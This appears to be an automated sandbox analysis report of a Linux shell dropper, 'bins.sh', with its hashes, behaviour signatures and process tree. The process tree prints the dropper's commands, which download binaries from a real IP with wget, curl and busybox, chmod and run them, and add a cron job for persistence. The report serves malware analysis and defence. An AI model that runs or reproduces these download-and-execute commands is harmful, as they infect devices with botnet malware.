Analysis

  • max time kernel
    150s
  • max time network
    166s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/11/2024, 16:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    cdd6a3d3e08f6df591f6736ed154c56c

  • SHA1

    00357309d336d5264e16b373b6fdc3db2287f423

  • SHA256

    c056a582d436b69e831e6ef8abae1c532b79dcb3c12433b73fc27a447718b09e

  • SHA512

    a0d9d2d0062a61b310633386b50680c48f52bca237df9bd40713b36bcc03157b57c0ee83b84bb7866ae7793f20503979f421f49466d7cb30d4cb72b8d9575395

  • SSDEEP

    192:7URUBUxUGUaUGaygHDpneNHSttLGyeWufzapURUBUxUGUaUWaygHDDpttLGMeWuO:1eNH+eWufzaFeWufza

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1948) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:643
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:645
        • /usr/bin/wget
          wget http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
          2⤵
          • Writes file to tmp directory
          PID:651
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
          2⤵
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
          ./UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
          2⤵
          • Executes dropped EXE
          PID:678
        • /bin/rm
          rm UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
          2⤵
            PID:681
          • /usr/bin/wget
            wget http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
            2⤵
            • Writes file to tmp directory
            PID:682
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
            2⤵
            • Writes file to tmp directory
            PID:710
          • /bin/chmod
            chmod 777 j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
            2⤵
            • File and Directory Permissions Modification
            PID:720
          • /tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
            ./j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
            2⤵
            • Executes dropped EXE
            PID:722
          • /bin/rm
            rm j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
            2⤵
              PID:725
            • /usr/bin/wget
              wget http://216.126.231.240/bins/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
              2⤵
              • Writes file to tmp directory
              PID:727
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:734
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
              2⤵
              • Writes file to tmp directory
              PID:737
            • /bin/chmod
              chmod 777 1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
              2⤵
              • File and Directory Permissions Modification
              PID:742
            • /tmp/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
              ./1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
              2⤵
              • Executes dropped EXE
              PID:744
            • /bin/rm
              rm 1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
              2⤵
                PID:746
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
                2⤵
                • Writes file to tmp directory
                PID:748
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:760
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/chmod
                chmod 777 Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
                2⤵
                • File and Directory Permissions Modification
                PID:773
              • /tmp/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
                ./Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
                2⤵
                • Executes dropped EXE
                PID:774
              • /bin/rm
                rm Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
                2⤵
                  PID:776
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
                  2⤵
                  • Writes file to tmp directory
                  PID:777
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:778
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
                  2⤵
                  • Writes file to tmp directory
                  PID:779
                • /bin/chmod
                  chmod 777 eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:780
                • /tmp/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
                  ./eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
                  2⤵
                  • Executes dropped EXE
                  PID:781
                • /bin/rm
                  rm eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
                  2⤵
                    PID:783
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
                    2⤵
                    • Writes file to tmp directory
                    PID:784
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:785
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
                    2⤵
                    • Writes file to tmp directory
                    PID:786
                  • /bin/chmod
                    chmod 777 Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
                    2⤵
                    • File and Directory Permissions Modification
                    PID:787
                  • /tmp/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
                    ./Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
                    2⤵
                    • Executes dropped EXE
                    PID:788
                  • /bin/rm
                    rm Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
                    2⤵
                      PID:790
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
                      2⤵
                      • Writes file to tmp directory
                      PID:791
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:792
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
                      2⤵
                      • Writes file to tmp directory
                      PID:793
                    • /bin/chmod
                      chmod 777 QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
                      2⤵
                      • File and Directory Permissions Modification
                      PID:794
                    • /tmp/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
                      ./QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
                      2⤵
                      • Executes dropped EXE
                      PID:795
                    • /bin/rm
                      rm QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
                      2⤵
                        PID:797
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
                        2⤵
                        • Writes file to tmp directory
                        PID:798
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:801
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
                        2⤵
                        • Writes file to tmp directory
                        PID:802
                      • /bin/chmod
                        chmod 777 0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
                        2⤵
                        • File and Directory Permissions Modification
                        PID:803
                      • /tmp/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
                        ./0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:804
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:806
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:807
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:808
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:809
                            • /bin/rm
                              rm 0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
                              2⤵
                                PID:811
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s
                                2⤵
                                  PID:814

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /var/spool/cron/crontabs/tmp.HCmtal

                                Filesize

                                210B

                                MD5

                                669e94531587dff70d50c992cdae35f6

                                SHA1

                                ad4943e6ac85dc8c35574c92c18ebc3656188c86

                                SHA256

                                3932a70542b9079f8bd1953457124e9c9bd150d3202b1720fb343035b975179d

                                SHA512

                                a04d7c40ce840a54f1417f8bda7268b8f2f8fc50893bf342da666e3b4f144549c3683d6555bb77183a0e30b2c82235cb63454cf07fbd2a5bb48523eb64a74c8c